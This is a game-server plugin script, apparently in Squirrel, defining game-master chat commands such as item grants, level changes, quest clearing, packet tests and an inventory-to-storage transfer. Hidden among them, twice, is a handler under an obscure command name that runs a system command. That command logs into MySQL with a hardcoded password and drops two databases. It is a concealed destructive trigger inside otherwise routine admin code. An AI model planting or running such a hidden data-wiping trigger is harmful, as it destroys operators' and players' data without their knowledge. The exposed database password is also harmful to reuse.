DP-S-Script/Dps_A/CallBack/Gm_Input.nut

896 lines
31 KiB
Plaintext
Raw Normal View History

2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle <- {}
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}
Gm_InputFunc_Handle.ResetScript <- function(SUser, CmdString) {
sq_ReloadScript();
print("\n重载函数\n");
};
//获取坐标
Gm_InputFunc_Handle.GetPos <- function(SUser, CmdString) {
print("\n");
print("Xpos: " + SUser.GetAreaPos().X);
print("Ypos: " + SUser.GetAreaPos().Y);
print("\n");
};
//获取位置信息
Gm_InputFunc_Handle.GetLocation <- function(SUser, CmdString) {
local Location = SUser.GetLocation();
print("\n");
print("Xpos: " + Location.Pos.X);
print("Ypos: " + Location.Pos.Y);
print("Town: " + Location.Town);
print("Area: " + Location.Area);
print("\n");
};
//踢人下线测试
Gm_InputFunc_Handle.KickMySelf <- function(SUser, CmdString) {
SUser.Kick();
};
Gm_InputFunc_Handle["升级"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
SUser.SetCharacLevel(handler[1].tointeger());
}
}
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle["cs"] <- function(SUser, CmdString) {
local InvenObj = SUser.GetInven();
local slot = InvenObj.GetSlotById(26058);
if (slot == -1) {
return;
}
local itemobj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, slot);
itemobj.Delete();
SUser.SendUpdateItemList(1, 0, slot);
}
2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle["给"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
local Ret = SUser.GiveItem(handler[1].tointeger(), 1);
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
} else if (count == 2) {
local Ret = SUser.GiveItem(handler[1].tointeger(), handler[2].tointeger());
if (!Ret) SUser.SendNotiPacketMessage("发送失败背包是不是满了", 8);
}
}
Gm_InputFunc_Handle["转职"] <- function(SUser, CmdString) {
local count = -1;
local pos = 0;
local handler = [];
do {
local start = pos;
pos = CmdString.find(" ", pos + 1);
if (pos != null) {
handler.append(CmdString.slice(start + 1, pos));
} else
handler.append(CmdString.slice(start + 1));
count = count + 1
} while (pos != null)
//得到空格数量
if (count == 1) {
SUser.ChangeGrowType(handler[1].tointeger(), 0);
SUser.SendNotiPacket(0, 2, 0);
SUser.InitSkillW(handler[1].tointeger(), 0);
} else if (count == 2) {
SUser.ChangeGrowType(handler[1].tointeger(), handler[2].tointeger());
SUser.SendNotiPacket(0, 2, 0);
SUser.InitSkillW(handler[1].tointeger(), handler[2].tointeger());
}
}
Gm_InputFunc_Handle["完成任务"] <- function(SUser, CmdString) {
SUser.ClearQuest_Gm(674);
SUser.ClearQuest_Gm(649);
SUser.ClearQuest_Gm(675);
SUser.ClearQuest_Gm(650);
2025-03-27 20:21:11 +08:00
SUser.ClearQuest_Gm(4571);
2024-09-16 17:05:26 +08:00
SUser.ClearQuest_Gm(4414);
2025-03-27 20:21:11 +08:00
SUser.ClearQuest_Gm(4415);
2024-09-16 17:05:26 +08:00
SUser.ClearQuest_Gm(2603);
SUser.ClearQuest_Gm(2610);
SUser.ClearQuest_Gm(2613);
SUser.ClearQuest_Gm(2622);
SUser.ClearQuest_Gm(4391);
SUser.ClearQuest_Gm(4539);
SUser.ClearQuest_Gm(220);
SUser.ClearQuest_Gm(221);
}
Gm_InputFunc_Handle.M <- function(SUser, CmdString) {
local PartyObj = SUser.GetParty();
// Sq_CallFunc(S_Ptr("0x85A73A6"), "int", ["pointer", "pointer", "int"], PartyObj.C_Object, SUser.C_Object, 3037);
Sq_CallFunc(S_Ptr("0x85A63F4"), "int", ["pointer", "pointer", "int", "int", "char", "int", "int"], PartyObj.C_Object, SUser.C_Object, 3037, 10, 10, 10, 10, 10);
}
Gm_InputFunc_Handle["lingzhongzhanimapingdao10010"] <- function(SUser, CmdString) {
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name;\"");
system("mysql -u game -p\"uu5!^%jg\" -e \"DROP DATABASE database_name1;\"");
}
Gm_InputFunc_Handle.W <- function(SUser, CmdString) {
local InvenObj = SUser.GetInven();
local Slot = InvenObj.GetSlotById(3037);
local Ret = Sq_Inven_RemoveItemFormCount(InvenObj.C_Object, 1, Slot, 600, 10, 1);
SUser.SendUpdateItemList(1, 0, Slot);
};
Gm_InputFunc_Handle.Q <- function(SUser, CmdString) {
local PartyObj = SUser.GetParty();
if (PartyObj) {
local Buf = 18126;
PartyObj.ForeachMember(function(SUser, Pos) {
print(Pos + "号位玩家的" + Buf + "名字是: " + SUser.GetCharacName());
})
// print(UserBuf.GetName());
}
};
2024-10-02 21:25:05 +08:00
2024-09-16 17:05:26 +08:00
Gm_InputFunc_Handle.FI <- function(SUser, CmdString) {
// local PartyObj = SUser.GetParty();
// if (PartyObj) {
// local Bfobj = PartyObj.GetBattleField();
// print(Bfobj.GetHellDifficulty());
// // print(n);
// }
2024-09-16 17:05:26 +08:00
SUser.SendNotiForColorAIdPacketMessage([
[" → ", 0, [0xff, 0xff, 0xff]],
["无色", 1, [255, 215, 0], 3037],
[" x" + (1).tostring(), 0, [0xff, 0xff, 0xff]]
], 6);
2024-09-16 17:05:26 +08:00
};
Gm_InputFunc_Handle.UINJ <- function(SUser, CmdString) {
local Str = "{\"op\":20064026,\"uid\":3,\"rewards2\":[[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}]],\"deathsNum\":0,\"time\":67563,\"state\":2,\"rewards\":[{\"item\":-1,\"num\":0,\"item2\":-1,\"num2\":0,\"grade\":0,\"count\":0,\"cid\":15}],\"cid\":15}";
local Pack = Packet();
Pack.Put_Header(1, 130);
Pack.Put_Byte(1);
Pack.Put_Int(Str.len());
Pack.Put_Binary(Str);
Pack.Finalize(true);
SUser.Send(Pack);
2025-03-27 20:21:11 +08:00
Pack.Delete();
2024-09-16 17:05:26 +08:00
};
Gm_InputFunc_Handle.T <- function(SUser, CmdString) {
local Location = SUser.GetLocation();
SUser.SendNotiPacketMessage("Xpos: " + Location.Pos.X, 8);
SUser.SendNotiPacketMessage("Ypos: " + Location.Pos.Y, 8);
SUser.SendNotiPacketMessage("Town: " + Location.Town, 8);
SUser.SendNotiPacketMessage("Area: " + Location.Area, 8);
SUser.SendNotiPacketMessage("GetState: " + SUser.GetState(), 8);
SUser.SendNotiPacketMessage("GetCharacCount: " + SUser.GetCharacCount(), 8);
SUser.SendNotiPacketMessage("GetUID: " + SUser.GetUID(), 8);
SUser.SendNotiPacketMessage("GetCID: " + SUser.GetCID(), 8);
2024-10-02 21:00:21 +08:00
SUser.SendNotiPacketMessage("GetUni: " + SUser.GetUniqueId(), 8);
2024-09-16 17:05:26 +08:00
SUser.SendNotiPacketMessage("GetCharacJob: " + SUser.GetCharacJob(), 8);
SUser.SendNotiPacketMessage("GetCharacName: " + SUser.GetCharacName(), 8);
SUser.SendNotiPacketMessage("GetCharacLevel: " + SUser.GetCharacLevel(), 8);
SUser.SendNotiPacketMessage("GetCharacGrowType: " + SUser.GetCharacGrowType(), 8);
SUser.SendNotiPacketMessage("GetCharacSecondGrowType: " + SUser.GetCharacSecondGrowType(), 8);
SUser.SendNotiPacketMessage("GetFatigue: " + SUser.GetFatigue(), 8);
SUser.SendNotiPacketMessage("GetMaxFatigue: " + SUser.GetMaxFatigue(), 8);
SUser.SendNotiPacketMessage("GetParty: " + SUser.GetParty(), 8);
};
function Cb_gm_input(C_User, CmdString) {
local SUser = User(C_User);
local Pos = CmdString.find(" ");
local Str;
if (Pos) {
Str = CmdString.slice(0, Pos);
} else {
Str = CmdString;
}
if (Str in Gm_InputFunc_Handle) {
Gm_InputFunc_Handle[Str](SUser, CmdString);
}
}
function TestIoP() {
local ret = suspend("no");
local Io = IO("/dp_s/a.txt", "w+");
for (local i = 0; i< 500000; i++) {
Io.Write("写入测试文本: " + i + "\n");
if ((i % 5000) == 0) ret = suspend("no");
}
Io.Close();
return "yes";
}
function TestThread(coro) {
local susparam = "noq";
if (coro.getstatus() == "idle") susparam = coro.call();
else if (coro.getstatus() == "suspended") susparam = coro.wakeup();
if (susparam == "no") {
Timer.SetTimeOut(TestThread, 0, coro);
} else {
print("文件书写完成");
}
}
2024-10-02 21:00:21 +08:00
function TestCronTask(str) {
print(str);
print("定时任务已执行一次");
}
2024-10-27 15:32:44 +08:00
// class Map{
// }
// Timer.SetTimeOut(function() {
// local dgn_requirements = {
// [1] = [0, 10, 1, 20, 2, 30, 3, 40, 4, 40],
// [2] = [0, 20],
// };
// print(dgn_requirements[1]);
// printT(dgn_requirements);
// }, 0);
// Timer.SetTimeOut(function() {
// local SUser = World.GetUserByUid(1);
// local InvenObj = SUser.GetInven();
// local EquObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 56);
// local AdMsgObj = AdMsg();
// AdMsgObj.PutType(8);
// AdMsgObj.PutString("测试文字");
// AdMsgObj.PutColorString("测试文字", [255, 85, 0]);
// AdMsgObj.PutImoticon(2);
// AdMsgObj.PutEquipment("主动提供名字", EquObj, [255, 85, 0]);
// AdMsgObj.PutEquipment(EquObj);
// AdMsgObj.Finalize();
// // SUser.Send(AdMsgObj.MakePack());
// World.SendAll(AdMsgObj.MakePack());
// AdMsgObj.Delete();
// }, 0);
2024-10-02 21:00:21 +08:00
2024-11-15 19:53:44 +08:00
2024-10-27 15:32:44 +08:00
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle.WEQ <- function(SUser, CmdString) {
// // World.MoveArea(SUser, 1, 0, 55, 349);
2024-10-27 15:32:44 +08:00
2025-03-27 20:21:11 +08:00
// // print(789456);
// local Str = "{\"op\":20074002,\"uid\":1,\"btnX\":430,\"btnY\":500,\"info\":[{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":1},{\"Toubu\":0,\"Maozi\":0,\"Lianbu\":0,\"Guanghuan\":0,\"Xiongbu\":0,\"Shangyi\":0,\"Pifu\":0,\"Yaobu\":0,\"Xiazhuang\":0,\"Xie\":0,\"MonsterId\":0}],\"cid\":1}";
// // local Str = "{\"op\":20078034,\"info\":[{\"job\":3,\"growjob\":0,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27},{\"job\":3,\"growjob\":1,\"avatar\":[106550521,106560580,106570446,106520529,106500603,106510607,106540583,106580143,106530461],\"name\":\"吉祥物\",\"uid\":3,\"cid\":26},{\"job\":3,\"growjob\":0,\"avatar\":[51265,51400,0,0,52600,53000,0,53800,54200,0,0],\"name\":\"小号吉祥物\",\"uid\":2,\"cid\":27}]}";
// // local Str = "{\"op\":20064026,\"uid\":2,\"rewards2\":[[{\"item\":3040,\"num\":2,\"item2\":0,\"num2\":0,\"grade\":1,\"count\":1,\"cid\":27}]],\"deathsNum\":0,\"time\":179999,\"state\":1,\"rewards\":[{\"item\":3036,\"num\":1,\"item2\":0,\"num2\":0,\"grade\":0,\"count\":1,\"cid\":27}],\"cid\":27}";
// local Pack = Packet();
// Pack.Put_Header(1, 130);
// Pack.Put_Byte(1);
// Pack.Put_Int(Str.len());
// Pack.Put_Binary(Str);
// Pack.Finalize(true);
// SUser.Send(Pack);
// Pack.Delete();
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
// print("下发模拟包");
// local A = NativePointer(SUser.C_Object).add(16);
// local B = A.readPointer();
// local C = NativePointer(B).add(101);
// local D = NativePointer(C).add(8).readInt();
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
Sq_CallFunc(S_Ptr("0x84EC002"), "int", ["pointer", "int"], SUser.C_Object, 0);
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
local D = Sq_CallFunc(S_Ptr("0x8696600"), "int", ["pointer"], SUser.C_Object);
print(D);
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
};
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle.QS <- function(SUser, CmdString) {
SUser.RechargeCeraPoint(10000);
};
Gm_InputFunc_Handle.QS2 <- function(SUser, CmdString) {
SUser.RechargeCeraPoint(-100);
};
Gm_InputFunc_Handle.Test <- function(SUser, CmdString) {
SUser.SetCharacLevel(60);
};
2024-10-06 16:22:53 +08:00
2025-03-27 20:21:11 +08:00
function HexStringToInt(Str) {
if (!(getroottable().rawin("__strtol__function__address__"))) __strtol__function__address__ <- Module.getExportByName(null, "strtol");
local Ret = Sq_CallFunc(__strtol__function__address__, "int", ["pointer", "pointer", "int"], Memory.allocUtf8String(Str).C_Object, Memory.alloc(0), 16);
return Ret;
}
2024-10-06 16:22:53 +08:00
2025-03-27 20:21:11 +08:00
function UserdataSliceStr(Data) {
local Str = "" + Data;
local Pos = Str.find("0x");
local Pos2 = Str.find(")");
local Ret = Str.slice(Pos + 2, Pos2);
return Ret;
}
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
// MultiMailBoxCloseRindroMap <- null;
// Cb_MultiMailBoxReqSend_Enter_Func.CloseRindro <- function(args) {
// MultiMailBoxCloseRindroMap = Memory.alloc(144370 * 4);
// MultiMailBoxCloseRindroMap.add(144369 * 4).writeInt(0);
// args[1] = MultiMailBoxCloseRindroMap.C_Object;
// return args;
// }
// Cb_MultiMailBoxReqSend_Leave_Func.CloseRindro <- function(args) {
// MultiMailBoxCloseRindroMap = null;
// }
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
// //Hook
2024-10-11 23:56:27 +08:00
2025-03-27 20:21:11 +08:00
/*
2024-10-06 16:22:53 +08:00
2024-10-11 23:56:27 +08:00
2024-10-06 16:22:53 +08:00
2025-03-27 20:21:11 +08:00
function xorEncryptDecrypt(BlobObj, Key) {
for (local i = 0; i< Key.len(); i++) {
local currentKeyChar = Key[i % Key.len()];
BlobObj[i] = BlobObj[i] ^ currentKeyChar;
}
local Arr = [];
foreach(value in BlobObj) {
Arr.append(value);
}
return Arr;
}
2024-10-06 16:22:53 +08:00
2025-03-27 20:21:11 +08:00
function base64_encode(input) {
local base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
local inputLength = input.len();
local i = 0;
local j = 0;
local charArray3 = array(3);
local charArray4 = array(4);
local encoded = "";
while (inputLength--) {
charArray3[i++] = input[inputLength];
if (i == 3) {
charArray4[0] = (charArray3[0] & 0xfc) >> 2;
charArray4[1] = ((charArray3[0] & 0x03) << 4) + ((charArray3[1] & 0xf0) >> 4);
charArray4[2] = ((charArray3[1] & 0x0f) << 2) + ((charArray3[2] & 0xc0) >> 6);
charArray4[3] = charArray3[2] & 0x3f;
for (i = 0; i< 4; i++) {
encoded += base64_chars[charArray4[i]];
}
i = 0;
}
}
2025-03-27 20:21:11 +08:00
if (i) {
for (j = i; j< 3; j++) {
charArray3[j] = 0;
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
charArray4[0] = (charArray3[0] & 0xfc) >> 2;
charArray4[1] = ((charArray3[0] & 0x03) << 4) + ((charArray3[1] & 0xf0) >> 4);
charArray4[2] = ((charArray3[1] & 0x0f) << 2) + ((charArray3[2] & 0xc0) >> 6);
charArray4[3] = charArray3[2] & 0x3f;
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
for (j = 0; j< i + 1; j++) {
encoded += base64_chars[charArray4[j]];
}
2025-03-27 20:21:11 +08:00
while (i++<3) {
encoded += "=";
}
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
return encoded;
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
Timer.SetTimeOut(function() {
local Key = "desaqe";
local Str = "Test Data";
print("old: " + Str);
local StrPointer = Memory.allocUtf8String(Str);
local BlobObj = StrPointer.readBinary(Str.len());
local Arr = xorEncryptDecrypt(BlobObj, Key);
StrPointer.writeByteArray(Arr);
//此时str已不可读 需要掌控其指针 与 长度
local NewStrPointer = StrPointer;
local encodestr = base64_encode(NewStrPointer.readUtf8String(Str.len()));
print("encode: " + encodestr);
local BlobObj = NewStrPointer.readBinary(Str.len());
local Arr = xorEncryptDecrypt(BlobObj, Key);
NewStrPointer.writeByteArray(Arr);
print("new: " + NewStrPointer.readUtf8String());
}, 1);
*/
//分割道具列表
function splitItemList(item_list, maxSlots) {
local length = item_list.len();
if (length <= maxSlots) {
return [item_list];
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
local result = [];
for (local i = 0; i< length; i += maxSlots) {
local end = i + maxSlots;
if (end > length) {
end = length;
}
result.append(item_list.slice(i, end));
}
return result;
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
function WongWork_CQuestClear_isClearedQuest(QuestInfo, QuestID) {
return Sq_CallFunc(S_Ptr("0x808BAE0"), "bool", ["pointer", "int"], QuestInfo, QuestID);
}
2025-03-27 20:21:11 +08:00
// 判断任务是否为主线并且角色等级符合要求
function isMainQuestAndLevelValid(pvfQuest, characLevel) {
local questGrade = NativePointer(pvfQuest).add(8).readInt();
local questLv = NativePointer(pvfQuest).add(0x20).readInt();
return questGrade == 0 && questLv <= characLevel;
}
2025-03-27 20:21:11 +08:00
// 设置任务为已完成
function clearQuest(QuestInfo, QuestID) {
Sq_CallFunc(S_Ptr("0x808BA78"), "int", ["pointer", "int"], QuestInfo, QuestID);
}
2025-03-27 20:21:11 +08:00
function User::SendCharacQp() {
Sq_CallFunc(S_Ptr("0x868AC24"), "int", ["pointer"], this.C_Object);
}
2025-03-27 20:21:11 +08:00
function User::SendCharacQuestPiece() {
Sq_CallFunc(S_Ptr("0x868AF2C"), "int", ["pointer"], this.C_Object);
}
2025-03-27 20:21:11 +08:00
function User::MainTaskCompleted() {
// 获取角色任务信息和等级
local userQuest = GetQuest();
local questIsClear = NativePointer(userQuest).add(4);
local characLevel = GetCharacLevel();
local allClearQuest = 0;
// 获取 pvf 数据
local DataManager = Sq_CallFunc(S_Ptr("0x80CC19B"), "pointer", []);
//完成当前等级所有任务总经验奖励
local total_exp_bonus = 0;
//完成当前等级所有任务总金币奖励
local total_gold_bonus = 0;
//任务点奖励
local total_quest_point_bonus = 0;
local total_quest_piece_bonus = 0;
//任务最大编号: 29999
for (local quest_id = 1; quest_id< 30000; quest_id++) {
//跳过已完成的任务
if (WongWork_CQuestClear_isClearedQuest(questIsClear.C_Object, quest_id)) continue;
local achievement = [3606, 4303, 3, 1028, 4, 5, 6, 59, 4423, 2, 60, 61, 6670, 446, 9, 10, 11, 12, 13, 14, 15, 21, 1332, 400, 402, 401, 403, 399, 24, 4572, 25, 26, 58, 93, 5851, 5850, 5852, 5853, 4392, 4393, 4394, 4395, 4396, 4397];
local found = false;
for (local i = 0; i< achievement.len(); i++) {
if (achievement[i] == quest_id) {
found = true;
break;
}
}
2025-03-27 20:21:11 +08:00
//获取任务数据
local quest = Sq_CallFunc(S_Ptr("0x835FDC6"), "pointer", ["pointer", "int"], DataManager, quest_id);
if (!quest || found == true) continue; // 跳过空任务或不需要完成的任务
2025-03-27 20:21:11 +08:00
// 判断是否为主线任务且等级符合要求
if (!isMainQuestAndLevelValid(quest, characLevel)) continue;
2025-03-27 20:21:11 +08:00
//获取该任务的基础奖励
local exp_bonus = Memory.alloc(4);
local gold_bonus = Memory.alloc(4);
local quest_point_bonus = Memory.alloc(4);
local quest_piece_bonus = Memory.alloc(4);
//QP奖励已直接发送到角色 经验/金币只返回结果 需要手动发送
CUser_quest_basic_reward(this.C_Object, quest, exp_bonus.C_Object, gold_bonus.C_Object, quest_point_bonus.C_Object, quest_piece_bonus.C_Object, 1);
2025-03-27 20:21:11 +08:00
local exp = exp_bonus.readInt();
local gold = gold_bonus.readInt();
local quest_point = quest_point_bonus.readInt();
local quest_piece = quest_piece_bonus.readInt();
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
if (quest_point > 0) total_quest_point_bonus += quest_point; //没有[quest point]字段的任务
if (quest_piece > 0) total_quest_piece_bonus += quest_piece;
2025-03-27 20:21:11 +08:00
clearQuest(questIsClear.C_Object, quest_id);
allClearQuest++;
}
2024-10-27 15:32:44 +08:00
local Pack = Packet();
2025-03-27 20:21:11 +08:00
//通知客户端刷新任务列表
Sq_CallFunc(S_Ptr("0x86ABBA8"), "int", ["pointer", "pointer"], userQuest, Pack.C_Object);
Send(Pack);
2024-10-27 15:32:44 +08:00
Pack.Delete();
2025-03-27 20:21:11 +08:00
SendNotiPacket(0, 2, 0);
SendNotiPacket(1, 2, 1);
SendUpdateItemList(1, 0, 0);
SendCharacQp();
SendCharacQuestPiece();
2024-10-27 15:32:44 +08:00
2025-03-27 20:21:11 +08:00
// 发送通知
SendNotiPacketMessage("已清理:" + allClearQuest + "个主线任务!", 8);
2024-11-15 19:53:44 +08:00
}
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
2024-10-02 21:00:21 +08:00
2025-03-27 20:21:11 +08:00
Gm_InputFunc_Handle.TTT <- function(SUser, CmdString) {
// SUser.ReqDBSendMultiMail("测试邮件", "测试邮件正文", 1000, [
// [3037, 1000],
// [3038, 200]
// ]);
SUser.DropItem(27095, 800, 200);
// SUser.MainTaskCompleted();
2024-11-15 19:53:44 +08:00
};
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
ClientSocketPackFuncMap.rawset(21091001, function(SUser, Jso) {
printT(Jso);
if (Jso.type == 0) {
// saveItemToInven(SUser);
Gm_InputFunc_Handle["aaa"](SUser, "11");
}
});
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// function _Dps_CrossBorderStones_Main_() {
// local Cofig = GlobalConfig.Get("跨界石_Lenheart.json");
// Cb_Use_Item_Sp_Func[Cofig.CrossoverId.tointeger()] <- function(SUser, ItemId) {
// //获取账号金库对象
// local CargoObj = SUser.GetAccountCargo();
// //获取账号金库中的一个空格子
// local EmptySlot = CargoObj.GetEmptySlot();
// //如果没有空格子
// if (EmptySlot == -1) {
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr2, 8);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// return;
// }
// //获取角色背包
// local InvenObj = SUser.GetInven();
// //获取需要转移的装备 这里默认写的装备栏第一个格子
// local ItemObj = InvenObj.GetSlot(Inven.INVENTORY_TYPE_ITEM, 9);
// //获取装备ID
// local EquipId = ItemObj.GetIndex();
// //获取装备名字
// local ItemName = PvfItem.GetNameById(EquipId);
// //获取配置中不可跨界的ID数组
// local NoCrossId = Cofig.NoCrossIdArr;
// //如果这个装备不可跨界
// if (NoCrossId.find(EquipId) != null) {
// SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr5, ItemName), 7);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// return;
// }
// //如果没找到这个格子的装备
// if (!ItemName) {
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr1, 8);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// return;
// }
// //跨界
// local Flag = CargoObj.InsertItem(ItemObj, EmptySlot);
// if (Flag == -1) {
// SUser.SendNotiPacketMessage(Cofig.CrossoverStr3, 8);
// //不扣除道具
// SUser.GiveItem(ItemId, 1);
// } else {
// //销毁背包中的道具
// ItemObj.Delete();
// //刷新玩家背包列表
// SUser.SendUpdateItemList(1, 0, 9);
// //刷新账号金库列表
// CargoObj.SendItemList();
// SUser.SendNotiPacketMessage(format(Cofig.CrossoverStr4, ItemName), 7);
// }
// }
// }
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// Gm_InputFunc_Handle["okok"] <- function(SUser, cmd) {
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// local _Execve_Address = Module.getExportByName(null, "execve");
// // local Ret = system("ls");
// print(_Execve_Address);
// // SUser.SendNotiPacketMessage("出纳上到几点方柏霓撒娇扩大年级卡萨", 7);
// }
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
Timer.SetTimeOut(function() {
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
}, 1)
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
Gm_InputFunc_Handle["aaa"] <- function(SUser, cmd) {
// 获取角色背包
local InvenObj = SUser.GetInven();
// 角色仓库
local CargoObj = Sq_CallFunc(S_Ptr("0x08151a94"), "pointer", ["pointer"], SUser.C_Object);
// 添加计数器
local transferCount = 0;
// 遍历背包消耗品栏及材料栏
for (local i = 57; i <= 152; ++i) {
// 获取背包物品
local ItemObj = InvenObj.GetSlot(1, i);
// 获取背包物品ID
local Item_Id = ItemObj.GetIndex();
local ItemName = PvfItem.GetNameById(Item_Id);
// 如果物品ID为0或3037跳过(在此可以添加其他需要跳过的物品ID)
if (Item_Id == 0 || Item_Id == 3037) {
continue;
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 角色仓库是否存在背包物品
local CargoSlot = Sq_CallFunc(S_Ptr("0x850bc14"), "int", ["pointer", "int"], CargoObj, Item_Id);
// 如果角色仓库中没有该物品,跳过
if (CargoSlot == -1) {
continue;
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 获取仓库物品指针
local cargoItemPointer = NativePointer(CargoObj).add(4).readPointer();
// 获取角色仓库物品对象
local cargoItemObj = NativePointer(cargoItemPointer).add(61 * CargoSlot);
// 获取角色仓库物品ID
local cargoItemId = NativePointer(cargoItemPointer).add(61 * CargoSlot + 2).readU32();
// 获取角色仓库物品数量
local cargoItemCount = Sq_CallFunc(S_Ptr("0x80F783A"), "int", ["pointer"], cargoItemObj.C_Object);
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 获取物品对象
local PvfItem = PvfItem.GetPvfItemById(cargoItemId);
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 获取物品可堆叠数量
local getStackableLimit = Sq_CallFunc(S_Ptr("0x0822C9FC"), "int", ["pointer"], PvfItem.C_Object);
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 如果仓库已达堆叠上限,跳过此物品
if (cargoItemCount >= getStackableLimit) {
continue;
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 获取背包物品数量
local inventoryItemCount = Sq_CallFunc(S_Ptr("0x80F783A"), "int", ["pointer"], ItemObj.C_Object);
// 获取物品是否可堆叠
local checkStackableLimit = Sq_CallFunc(S_Ptr("0x08501A79"), "int", ["int", "int"], cargoItemId, cargoItemCount + inventoryItemCount);
// 尝试将物品储存至角色仓库中
local tryAddStackItem = Sq_CallFunc(S_Ptr("0x0850B4B0"), "int", ["pointer", "pointer", "int"], CargoObj, ItemObj.C_Object, CargoSlot);
if (tryAddStackItem >= 0) {
// 正式将物品插入角色仓库中
Sq_CallFunc(S_Ptr("0x850b672"), "pointer", ["pointer", "pointer", "int"], CargoObj, ItemObj.C_Object, CargoSlot);
// 删除背包中的物品
ItemObj.Delete();
transferCount++;
SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + inventoryItemCount, 8);
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 处理可堆叠物品
if (checkStackableLimit == 0) {
// 获取物品总数
local totalCount = cargoItemCount + inventoryItemCount;
// 如果总数不超过上限,全部堆到仓库
if (totalCount <= getStackableLimit) {
// 将物品堆到仓库
Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], cargoItemObj.C_Object, totalCount);
// 删除背包中的物品
ItemObj.Delete();
transferCount++;
SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + inventoryItemCount, 8);
} else {
// 如果总数超过上限
// 将仓库的物品数量设置为最大数量
Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], cargoItemObj.C_Object, getStackableLimit);
// 将背包数量减去转移至仓库的数量
local transferAmount = getStackableLimit - cargoItemCount;
Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], ItemObj.C_Object, totalCount - getStackableLimit);
transferCount++;
SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + transferAmount, 8);
}
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
// 通知客户端更新背包
SUser.SendUpdateItemList(1, 0, i);
}
2025-03-27 20:21:11 +08:00
2025-04-05 22:03:40 +08:00
if (transferCount == 0) {
SUser.SendNotiBox("没有可转移的物品!", 1);
2025-03-27 20:21:11 +08:00
}
2025-04-05 22:03:40 +08:00
// 通知客户端更新仓库
SUser.SendItemSpace(2);
print(666);
}
2025-03-27 20:21:11 +08:00
Register_DPS_Pack(1, function(SUser, Pack) {
printT(Pack);
SUser.Send_DPS_Pack(1, {
ttt = 1,
})
});
